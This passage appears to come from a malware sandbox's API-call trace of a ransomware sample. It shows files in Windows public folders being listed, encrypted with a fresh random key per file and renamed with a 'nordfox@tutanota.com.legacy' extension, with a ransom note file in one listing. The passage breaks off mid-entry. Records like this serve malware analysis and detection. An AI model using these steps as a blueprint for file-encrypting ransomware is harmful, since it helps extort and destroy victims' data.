(in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7958 | out: hHeap=0x520000) returned 1 [0113.700] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xae [0113.700] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.700] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.700] WriteFile (in: hFile=0x61c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.700] WriteFile (in: hFile=0x61c, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.701] CloseHandle (hObject=0x61c) returned 1 [0113.701] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0113.701] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0113.701] MoveFileExW (lpExistingFileName="\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini"), lpNewFileName="\\Users\\Public\\Downloads\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\public\\downloads\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.703] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a08 | out: hHeap=0x520000) returned 1 [0113.703] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0113.703] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0113.703] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0113.703] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0113.703] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e40 | out: hHeap=0x520000) returned 1 [0113.703] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0113.703] FindFirstFileW (in: lpFileName="\\Users\\Public\\Libraries\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb207547d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd2807568, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6518 [0113.704] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0113.704] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0113.704] GetLastError () returned 0x0 [0113.704] SetLastError (dwErrCode=0x0) [0113.704] GetLastError () returned 0x0 [0113.704] SetLastError (dwErrCode=0x0) [0113.704] GetLastError () returned 0x0 [0113.704] SetLastError (dwErrCode=0x0) [0113.704] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0113.704] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0113.704] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0113.704] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0113.704] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6398 [0113.704] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6398 | out: hHeap=0x520000) returned 1 [0113.704] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0113.704] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0113.705] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0113.705] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0113.705] FindNextFileW (in: hFindFile=0x5c6518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb207547d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd2807568, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0113.705] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0113.705] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0113.705] GetLastError () returned 0x0 [0113.705] SetLastError (dwErrCode=0x0) [0113.705] GetLastError () returned 0x0 [0113.705] SetLastError (dwErrCode=0x0) [0113.705] GetLastError () returned 0x0 [0113.705] SetLastError (dwErrCode=0x0) [0113.705] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0113.705] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0113.705] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0113.705] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0113.705] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6598 [0113.706] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6598 | out: hHeap=0x520000) returned 1 [0113.706] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0113.706] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0113.706] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.706] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0113.706] FindNextFileW (in: hFindFile=0x5c6518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.706] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0113.706] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.706] GetLastError () returned 0x0 [0113.706] SetLastError (dwErrCode=0x0) [0113.706] GetLastError () returned 0x0 [0113.706] SetLastError (dwErrCode=0x0) [0113.706] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0113.706] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.706] GetLastError () returned 0x0 [0113.706] SetLastError (dwErrCode=0x0) [0113.706] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0113.707] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.707] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0113.707] FindNextFileW (in: hFindFile=0x5c6518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2807568, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2807568, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2807568, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0113.707] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0113.707] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0113.707] GetLastError () returned 0x0 [0113.707] SetLastError (dwErrCode=0x0) [0113.707] GetLastError () returned 0x0 [0113.707] SetLastError (dwErrCode=0x0) [0113.707] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0113.707] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0113.707] GetLastError () returned 0x0 [0113.707] SetLastError (dwErrCode=0x0) [0113.707] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0113.707] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0113.707] FindNextFileW (in: hFindFile=0x5c6518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0113.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0113.708] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0113.708] GetLastError () returned 0x0 [0113.708] SetLastError (dwErrCode=0x0) [0113.708] GetLastError () returned 0x0 [0113.708] SetLastError (dwErrCode=0x0) [0113.708] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0113.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0113.708] GetLastError () returned 0x0 [0113.708] SetLastError (dwErrCode=0x0) [0113.708] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0113.708] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0113.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0113.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0113.708] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0113.708] FindNextFileW (in: hFindFile=0x5c6518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 0 [0113.709] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0113.709] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0113.709] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0113.709] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.709] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0113.709] SetFileAttributesW (lpFileName="\\Users\\Public\\Libraries\\RecordedTV.library-ms", dwFileAttributes=0x80) returned 1 [0113.709] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0113.709] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7e60 [0113.710] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0113.710] CreateFileW (lpFileName="\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x620 [0113.710] GetFileSizeEx (in: hFile=0x620, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=960) returned 1 [0113.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c0) returned 0x582160 [0113.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c0) returned 0x582528 [0113.710] ReadFile (in: hFile=0x620, lpBuffer=0x582160, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c0, lpOverlapped=0x0) returned 1 [0113.789] SetFilePointer (in: hFile=0x620, lDistanceToMove=-960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.789] WriteFile (in: hFile=0x620, lpBuffer=0x582528*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582528*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c0, lpOverlapped=0x0) returned 1 [0113.790] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0113.790] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582528 | out: hHeap=0x520000) returned 1 [0113.790] SetFilePointer (in: hFile=0x620, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c0 [0113.790] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.790] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.790] WriteFile (in: hFile=0x620, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.791] WriteFile (in: hFile=0x620, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.791] CloseHandle (hObject=0x620) returned 1 [0113.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0113.791] MoveFileExW (lpExistingFileName="\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), lpNewFileName="\\Users\\Public\\Libraries\\RecordedTV.library-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7e60 | out: hHeap=0x520000) returned 1 [0113.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0113.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0113.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0113.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0113.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0113.794] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.794] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0113.794] SetFileAttributesW (lpFileName="\\Users\\Public\\Libraries\\desktop.ini", dwFileAttributes=0x80) returned 1 [0113.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0113.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ea0 [0113.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0113.795] CreateFileW (lpFileName="\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x620 [0113.795] GetFileSizeEx (in: hFile=0x620, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=175) returned 1 [0113.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xaf) returned 0x5e77e8 [0113.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xaf) returned 0x5e7f18 [0113.795] ReadFile (in: hFile=0x620, lpBuffer=0x5e77e8, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e77e8*, lpNumberOfBytesRead=0x2e1f9bc*=0xaf, lpOverlapped=0x0) returned 1 [0113.796] SetFilePointer (in: hFile=0x620, lDistanceToMove=-175, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.796] WriteFile (in: hFile=0x620, lpBuffer=0x5e7f18*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7f18*, lpNumberOfBytesWritten=0x2e1f9bc*=0xaf, lpOverlapped=0x0) returned 1 [0113.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e77e8 | out: hHeap=0x520000) returned 1 [0113.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7f18 | out: hHeap=0x520000) returned 1 [0113.797] SetFilePointer (in: hFile=0x620, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xaf [0113.797] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.797] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.797] WriteFile (in: hFile=0x620, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.797] WriteFile (in: hFile=0x620, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.799] CloseHandle (hObject=0x620) returned 1 [0113.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0113.800] MoveFileExW (lpExistingFileName="\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini"), lpNewFileName="\\Users\\Public\\Libraries\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\public\\libraries\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ea0 | out: hHeap=0x520000) returned 1 [0113.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0113.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0113.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566bd8 [0113.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0113.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567038 | out: hHeap=0x520000) returned 1 [0113.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0113.802] FindFirstFileW (in: lpFileName="\\Users\\Public\\Music\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd282d7a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6718 [0113.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0113.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0113.802] GetLastError () returned 0x0 [0113.802] SetLastError (dwErrCode=0x0) [0113.803] GetLastError () returned 0x0 [0113.803] SetLastError (dwErrCode=0x0) [0113.803] GetLastError () returned 0x0 [0113.803] SetLastError (dwErrCode=0x0) [0113.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0113.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0113.803] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0113.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0113.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6558 [0113.803] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6558 | out: hHeap=0x520000) returned 1 [0113.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0113.803] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0113.803] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0113.803] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0113.803] FindNextFileW (in: hFindFile=0x5c6718, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd282d7a6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0113.804] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0113.804] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.804] GetLastError () returned 0x0 [0113.804] SetLastError (dwErrCode=0x0) [0113.804] GetLastError () returned 0x0 [0113.804] SetLastError (dwErrCode=0x0) [0113.804] GetLastError () returned 0x0 [0113.804] SetLastError (dwErrCode=0x0) [0113.804] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0113.804] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0113.804] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0113.804] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0113.804] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6398 [0113.804] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6398 | out: hHeap=0x520000) returned 1 [0113.804] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0113.804] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0113.804] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0113.805] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0113.805] FindNextFileW (in: hFindFile=0x5c6718, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, 